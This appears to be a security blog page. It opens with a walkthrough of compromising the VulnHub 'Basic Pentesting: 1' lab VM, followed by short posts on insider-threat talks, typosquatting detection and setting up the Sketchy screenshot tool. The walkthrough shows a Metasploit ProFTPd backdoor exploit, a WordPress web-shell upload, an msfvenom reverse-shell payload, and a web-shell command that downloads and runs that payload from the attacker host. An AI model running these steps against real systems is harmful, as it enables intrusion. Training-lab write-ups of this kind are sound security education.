VulnHub Basic Pentesting: 1 Walkthrough

I found myself with some free time and wanted a simple challenge to pass the time.  I decided to take a look at new VMs posted to VulnHub to see if there was anything interesting.  I came across Basic Pentesting: 1, which is designed as a boot to root challenge specifically for newcomers to pen testing.  This seemed to pass the simple challenge requirement, so I decided to give it a try.

This VMs has several avenues that lead either directly or indirectly to rooting the box.  I'll walk through a few avenues below.

Enumeration
After booting the VM, I performed a ping sweep on my network to identify the VM IP and started an nmap to identify any open ports.

Enumerating open ports

Avenue #1 - ProFTPd
My interest was piqued immediately upon seeing FTP open on this host.  From previous experience, I already knew this version was vulnerable to a backdoor, but I decided to act like a newcomer and did a search for "proftpd 1.3.3c exploit."  This yielded many results indicating that this particular version of ProFTPd was indeed affected by a backdoor which allowed for shell access to the system.  A metasploit module was the first search result, so I decided to use that.

Gaining a shell was straight forward and was a simple matter of configuring the payload.  I selected the cmd/unix/reverse payload which resulted in a root shell.

Metasploit configuration

Root!

As you can see, this was a very quick, minimal effort to achieve root in a manner of minutes.  In real penetration tests, the goal is often to not simply compromise a host, but to establish a foothold, enumerate information, and attempt to move laterally.  Having a fully functional shell is always a bonus.  To this end, you can often invoke a fully-interactive shell with a simple python trick: python -c 'import pty; pty.spawn("/bin/bash")'

Upgrading to a fully-interactive shell

Avenue #2 - WordPress low-privilege shell
Knowing there were several avenues to achieve root on this box, I decided to see what avenues the web server on port 80 presented.  Initially, the web server didn't appear to offer much.  A search for known vulnerabilities in the version of Apache used on the server, 2.4.18, indicated there weren't any exploits which allowed for remote code execution.  Since there weren't any exploits for Apache, there had to be some software running on the web server which would ultimately yield a shell.

During penetration tests, enumeration of the target is critical.  As you enumerate more information about the target, you build a better understanding of how it works and how it may be attacked.  In instances where you've identified a web server that just has a default welcome page and doesn't immediately offer up any clues, tools such as nikto and dirb are a great first choice for identifying potential access vectors.  In this case, nikto quickly identified the presence of a /secret/ directory.  This is the droid I was looking for!

Enumeration of secret directory with nikto

Upon visiting /secret/, I was presented with a WordPress site - My Secret Blog.  The WordPress login console can typically be accessed by visiting <site>/wp-login/index.php.

Note: You may encounter issues with content not loading due to the fact that the VM is configured to rewrite IPs to hostnames in URLs.  The easiest way to deal with this is to set up a hosts file entry to point your target VMs IP to vtcsec.

Upon visiting the WordPress login page, I tried the default username and password of admin / admin.  If you're new to pen testing, this is sadly not an unrealistic example.  I have encountered far too many services in production using these exact credentials.

WordPress login page

WordPress admin console

There are a number of ways to achieve a shell once gaining administrative access to a WordPress installation.  The method used will depend on target configuration and personal preferences.  One common technique is to modify a template and replace the template code with your shell code.  Personally, I don't favor this approach as modification of the template can expose your presence if the site is actively used.  Users (and admins!) are likely to notice if all of a sudden their template is modified and the site is no longer displaying correctly.  Instead, I prefer to use a plugin to install a shell.

A quick and lightweight shell can be downloaded from GitHub: https://github.com/leonjza/wordpress-shell.  Note:  I tried to use shell.zip from the GitHub repository, but it didn't decompress properly.  You'll probably need to create a new zip file: zip -r shell.zip shell.php.

To install a new plugin, use Plugins > Add New menu and use the Upload Plugin button to upload your zipped shell.  Activate the new plugin and you're ready to execute commands on the system on the web server as the web server user.  The plugin documentation indicates that your new shell can be accessed by navigating to /wp-content/plugins/shell/shell.php.  For this VM, that means you can access your shell by navigating to http://ip/secret/wp-content/plugins/shell/shell.php.  If for some reason your shell isn't accessible, you can confirm the path to your plugin by using the Plugins > Editor menu to confirm the directory name for your shell.

Executing 'id' using the shell

As you can see above, Apache is running as the www-data user.  If we want to get root, we're going to need to do a little more work.  There are a number of ways to do this.  My favorite method is to use netcat to either create a listening shell on the target (bind shell) or to send a shell back to a listener on my attacking machine (reverse shell).   In this case, the version of netcat installed doesn't support the -e options, meaning we can't use netcat to establish a bind shell.  The pentestmonkey reverse shell cheatsheet is a great resource to keep handy.  It gives you a lot of creative ways to establish a shell.  For this exercise, I chose to use a metasploit meterpreter reverse shell payload.

To use a meterpreter payload, I needed to take a few steps.  First, I needed to select a payload.  The VulnHub page tells us the OS used, but in the real world we don't have that luxury, so we need to determine what our target is running.  Using my command shell, I determined the system was a 64-bit Ubuntu Linux system by using uname -a.

Executing 'uname -a' using the shell

Second, I needed to create a payload to execute on the system.  To do this, I used msfvenom to create an ELF payload.  msfvenom -p linux/x86/meterpreter/reverse_tcp --platform linux -a x86 -f elf LHOST=172.16.127.176 LPORT=4444 -o metshell

Generating a payload with msfvenom

Third, I needed to set up metasploit to receive a shell from this payload.  This can be accomplished using exploit/multi/handler.  All that's needed is to set the LHOST and LPORT options to match what was specified when building the payload with msfvenom.

exploit/multi/handler configuration

Lastly, the payload needed to be transferred to the target.  If you have a web server on your attacking system, you can use that to serve up your payload and retrieve it using wget on the target.  If you don't have a web server configured, that's ok.  One of my favorite quick and dirty methods is to use the python SimpleHTTPServer to serve up content.  By default, the SimpleHTTPServer will establish a listener on port 8000 and serve up content from your current working directory.

Many times in real world pen tests, the web root is protected and the web server user will not have write access to the web root.  If you're able to establish a web shell, you'll need to find a directory where the web server user can write to in order to drop your payload.  Most commonly, this will be in the /tmp directory.  For this challenge, I changed to the /tmp directory, retrieved my payload and marked it as executable, and executed it.  You can issue these commands individually, or all at once, such as: http://172.16.127.174/secret/wp-content/plugins/shell-2/shell.php?cmd=cd%20/tmp;%20wget%20http://172.16.127.176:8000/metshell;%20chmod%20777%20metshell;%20/tmp/metshell

Low privilege meterpreter shell established!

At this point, we've established a shell, but it's only as the lowly www-data user.  We need to find an avenue that will allow us to escalate our privileges to root.

Avenue 2a - Privilege escalation through password attacks and sudo
After establishing a meterpreter shell as the www-data user, I began to look for ways to escalate my privileges to root.  A look through the /etc/passwd file revealed that the only local user on the box was the user marlinspike.  We already know marlinspike chose a weak password to protect their WordPress installation.  What are the chances that marlinspike also used a weak password for their local user account?

A simple google search will give you dozens of weak password lists that you can then use with automated attack tools like thc-hydra, ncrack, medusa, or patator.  Before I fired up an automated tool, I did a manual test using a few common weak passwords like password, admin, letmein, and the username as a password.  Unsurprisingly, marlinspike used their user name as their password.

Logged in as marlinspike

Sudo is a utility which allows users to execute commands with the security context of another user.  Savvy system administrators will use it to allow users to execute specific commands as either another user or a user with elevated privileges.  Unfortunately, system administrators also often grant themselves permission to execute all system commands as the root user.  Such was the case with this system.

root!

In retrospect, I could have just used the WP shell to identify all local users and attempt password guessing attacks without ever launching the meterpreter shell.

Detecting and Preventing the Insider Threat - 2016 ND IT Symposium

I've updated my deck for "Detecting and Preventing the Insider Threat," which was presented at the 2016 ND IT Symposium on May 4, 2016.  The slides can be found here: http://www.slideshare.net/MikeSaunders4/insiderthreat2016ndits.  As always, feedback and questions are welcome and encouraged!

Detecting and Preventing the Insider Threat

Today I had the privilege of presenting at the ND Infragard chapter meeting.  The topic of the day was "the insider threat."  Jeremy Strozer of CERT.org's Software Engineering Institute at Carnegie Mellon University set up the afternoon talking about the insider threat.  I followed with a presentation on detecting and preventing the insider threat from a defender perspective.  The slides can be found on my SlideShare page.  A big thanks to everybody who came out to listen and asked questions!

-MS

DerbyCon 2015 Presentation

Today I had the privilege of presenting at DerbyCon 2015 in the stable talk track.  My talk, "Detecting Spear Phishing Attacks Using DNS", was based on a blog post from earlier this year.  The turnout was excellent, the room was packed, and I had a great audience.  If you were there, thank you!

The slides for the talk have been uploaded to SlideShare.  You can find them here: Detecting Spear Phishing Attacks using DNS.

I'll be giving this talk again in November at BSides Winnipeg.

You Will Be Breached

Today, I had the chance to talk incident response at the North Dakota IT Symposium, where I shared my presentation - You've Been Breached.  Are you Prepared?

Data breaches are inevitable.  The need for effective incident response programs exists in all sizes of organizations.  How well you recover from a breach depends on how prepared you are to respond.

This talk is an updated version of my previous talk - You Will Be Breached.  This presentation covers the basics of building an incident response program, including several slides of resources useful to helping build an incident response program in your organization.

You can download my slides from Slideshare.

I'll also be presenting this talk at BSidesMSP in June.  Come join us for two days of infosec learning and sharing!

Implementing passive DNS monitoring to prevent phishing attacks

The idea of typosquatting - registering a domain name which mimics that of a valid web site - is not a new concept.  In fact, in the US, laws aimed at preventing typosquatting were introduced as far back as 1999. In the beginning, typosquatting was a way to voice a gripe with the intended target or to generate advertising revenue from mistyped domain names. Criminal organization tactics evolved to use typosquatting as a way to deliver malware to anyone who accidentally happened upon the page.

Recent high profile attacks against Anthem BCBS and Premera Blue Cross highlight the evolution of typosquatting from opportunistic attacks to targeted attacks on specifically targeted organizations. While Premera has been tight-lipped about the methods used to breach their network, more is known about the Anthem attack.  Analysis of both attacks by outside sources, however, point to the involvement of typosquatting attacks.

In the case of Anthem BCBS, formerly known as Wellpoint, a typosquatted domain we11point[.]com was registered in April of 2014. The Premera attack, which originally took place in May of 2014, appears to be associated with a typosquatted domain prennera[.]com. In both cases, to the casual observer, the typosquatted domains are nearly indistinguishable from their legitimate counterparts. It is known that we11point[.]com was used in a phishing attack targeted on Anthem employees in order to deliver malware which afforded the attackers a foothold in Anthem's network.  It is suspected that prennera[.]com was used for the similar purposes.

In an effort to protect my corporate network against these kinds of attacks, I looked for ways to detect typosquatted domains that might be used in targeted phishing attacks. Fortunately, I did not have to look far. Andrew Horton of Morningstar Security created URLCrazy to automatically generate various permutations of a given domain name using a number of different methods included character omission, character swapping, and homoglyphs, the kind used in the Anthem attack.

Using URLCrazy is straight forward, with easy to understand options including keyboard layout. Since possible typos are based on the keyboard layout being used, URLCrazy supports several keyboard layouts. Output can be sent to the screen or formatted as a CSV, with the option of saving the output to a file.

URLCrazy usage

In addition to generating typosquatting candidates, URLCrazy also checks whether those domains have already been registered. Below are two examples of the output generated for microsoft.com and wellpoint.com. Note that in the Wellpoint example, URLCrazy actually generated the same homoglyph used in the Anthem attack.

URLCrazy output for microsoft.com

Homoglyphs of wellpoint.com

For my purposes, I wanted to be able to take a list of domains owned by the company and generate possible typos I could use as an early warning system for possible phishing attacks. I took the company domains and fed them to URLCrazy. I then performed a review of each domain that was already registered and classified them as either a valid site or a typosquatter and recorded these designations in a CSV. The typosquatted domains were then fed into our web proxy to prevent access to them in the event they are used in a phishing attack.

I wrote a simple python script which calls URLCrazy and compares the output against my CSV of identified domains. If a new typosquatted domain is registered, it will be detected and an alert will be generated and sent to the security analyst team for review. If the domain is indeed a typosquatted domain and not a legitimate website, the domain is again fed into our web proxy, blocking access. The CSV is then updated to include this new domain, ensuring we don't receive continued alerts.

My script, crazyParser, can be retrieved from my GitHub: https://github.com/hardwaterhacker/CrazyParser

This approach can be classified as a passive, reactive approach. If reviews are performed on a frequent and regular basis, it will serve as an effective defense against possible typosquatting attacks. This approach approach does not provide protection against phishing campaigns against your customers using typosquatted domains, however.

In order to proactively protect your customers, it may be necessary to identify typosquatting candidates and purchase those domains. These domains can then be redirected to the legitimate target domain name. This approach can become costly for smaller organizations with many domain names, and can become an management nightmare. It is generally considered best practice to have domain expiry notifications sent to a group mailbox to prevent domain registrations from lapsing after key personnel leave your organization.

In the event a domain has been registered which appears to be an obvious attempt to capitalize on typos of your legitimate domain name, the Universal Domain-Name Dispute-Resolution Policy may provide some relief. The UDRP allows for domain name holders to petition for the transfer of typosquatted domains to their control under certain circumstances.

Most commercial web proxies provide a categorization for web sites. In may cases, a newly-registered domain name will not yet have been categorized by your proxy vendor. As a final course of action, you can block access to all uncategorized web sites. This may provide a window of protection against domains used in phishing attacks. Blocking access to uncategorized web sites is generally considered a good practice.

As targeted phishing attacks continue to rise as an effective attack vector, this kind of DNS reconnaissance can serve as a reactive early warning system and even be used proactively to defend against attacks.

As always, I hope you found this post useful and your feedback is always welcome!

-@hardwaterhacker

Lessons learned from setting up Sketchy

Have you ever wanted to pass a URL off to a program and have it return a screenshot of that site?  This is incredibly useful for things like DFIR, allowing you to get an initial look at a page without having to poke at it with a potentially vulnerable browser.  I've used various tools to try to take screenshots of sites that either have a Javascript-based redirect at initial load or are AJAX-based and these tools always failed me.

Earlier this summer, I heard about a suite of tools released by Netflix.  This suite included Sketchy, a conglomeration of python, Flask, phantomjs, gunicorn, celery and redis.  Sketchy uses lazy-rendering within phantomjs to allow it to take screenshots of AJAX-heavy sites.

Based on the writeup by the Netflix crew, I was hopeful this would solve the problem once and for all.  I finally had time this week to sit down and play with Sketchy.  There were a few bumps along the road, so I decided to put down what I did here in case anybody else is interested in getting Sketchy working.

Installation

I installed Sketchy in my Kali linux VM.  The installation was straight forward.  Use git to clone the Sketchy repository to your machine.  I chose to put mine in /opt/sketchy.  With an up-to-date Kali installation, simply running ubuntu_install.sh will pull down all the necessary dependencies and build your environment for you.  If you don't want to trust a script to do this for you, the dependencies are clearly noted in the manual install section of the wiki.

User Setup

The Sketchy wiki doesn't discuss this, but if you're going to run Sketchy as root, celery will complain about being started as UID 0.  To get around this, I created a standard privilege user named sketchy, a group named sketchy, and made the sketchy user a member of the sketchy group.  I then changed ownership of the Sketchy install directory and all files and subdirectories to the sketchy user and sketchy group.

Database Setup (and the first hiccup)

By default, Sketchy creates a SQLite database to store information.  While the wiki recommends a different RDMBS such as MySQL, for low volume purposes you should be fine using the default database.  This was where I ran into a problem which would confound me for some time.

If you use Kali, you're probably running most of your commands as root.  If you are, when you set up the database using `python manage.py create_db'.  If you proceed down this path and follow the Test Startup instructions, everything will work fine, however you will get an Internal Server Error message if you try to follow the Production startup instructions.

In my case, production startup failed to render images because the database was set up by root but gunicorn was running under a reduced-privilege user (to be discussed later).

To get around this, I created a tmp directory within my Sketchy install as /opt/sketchy/tmp.  In order for manage.py to create the DB in this directory, I modified config-default.py to point to the new location:

# Database setup
SQLALCHEMY_DATABASE_URI = 'sqlite:////opt/sketchy/tmp/sketchy.db'

If set up the database as root, you'll want to change ownership of the new database to sketchy.sketchy to allow gunicorn to update it.

Configuration

The Sketchy wiki indicates you should remove ":8000" from the HOST variable in config-default.py.  I did not find it necessary to remove this to allow Sketchy to work properly.

Make sure to update your PHANTOMJS location according to your local system.  The setup script detected I had phantomjs installed, however config-default.py was looking for it in /usr/local/bin instead of /usr/bin.

supervisord.ini

There isn't too much to change in this file.  For [supervisord], you may want to store your log files in /var/log.  Changing the loglevel to debug will help you identify issues.  In both the [program:celeryd] and [program:gunicorn] sections, set the directory to your Sketchy installation directory and change the user to the account you created to run the daemons (I used sketchy).  I also changed the address gunicorn was using to 127.0.0.1 to prevent it from listening on any network interface.

Conclusion

Sketchy definitely has a place in my toolkit.  I haven't found anything that will reliably screenshot pages that use Javascript to redirect to another page or things that are AJAX-based.  Sketchy fits the bill perfectly for that use case.  The performance isn't bad, but it's not a speed demon either.  I haven't spent any time looking into optimizing the various components used to see if I can get better performance.

I'll be posting another blog soon about how I use Sketchy as an internal penetration tester to reduce the amount of time I spend performing website reconnaissance and looking for information disclosures.

Last year I gave a talk on developing a working incident response program for small IT organizations at the ND IT Symposium.

Here's the summary:

-------------------
Your organization will be breached.  It's a matter of when, not if.  How you respond may be the difference between recovering and closing your doors.

This talk is designed to help small businesses or businesses with small IT organizations to develop a viable incident response program.
-------------------

The slides can be downloaded from slideshare here: http://www.slideshare.net/MikeSaunders4/you-will-be-breached-38429510


-MS

BSidesMSP Presentation - Problems With Parameters

Today was a first for me - my first presentation at a true security conference. The BSidesMSP crew put together a great conference with a lot of great volunteers. I'd like to thank both the crew and volunteers that put this together as well as the great sponsors that made this possible!  Plans are already underway for BSidesMSP 2015.  Follow @BSidesMSP or check out https://www.bsidesmsp.org/ for more details.

As promised, the slides from this presentation have been uploaded to Slideshare.  Feel free to reach out with any questions or comments.  The slides can be downloaded here: http://www.slideshare.net/MikeSaunders4/problems-with-parameters-b-sidesmsp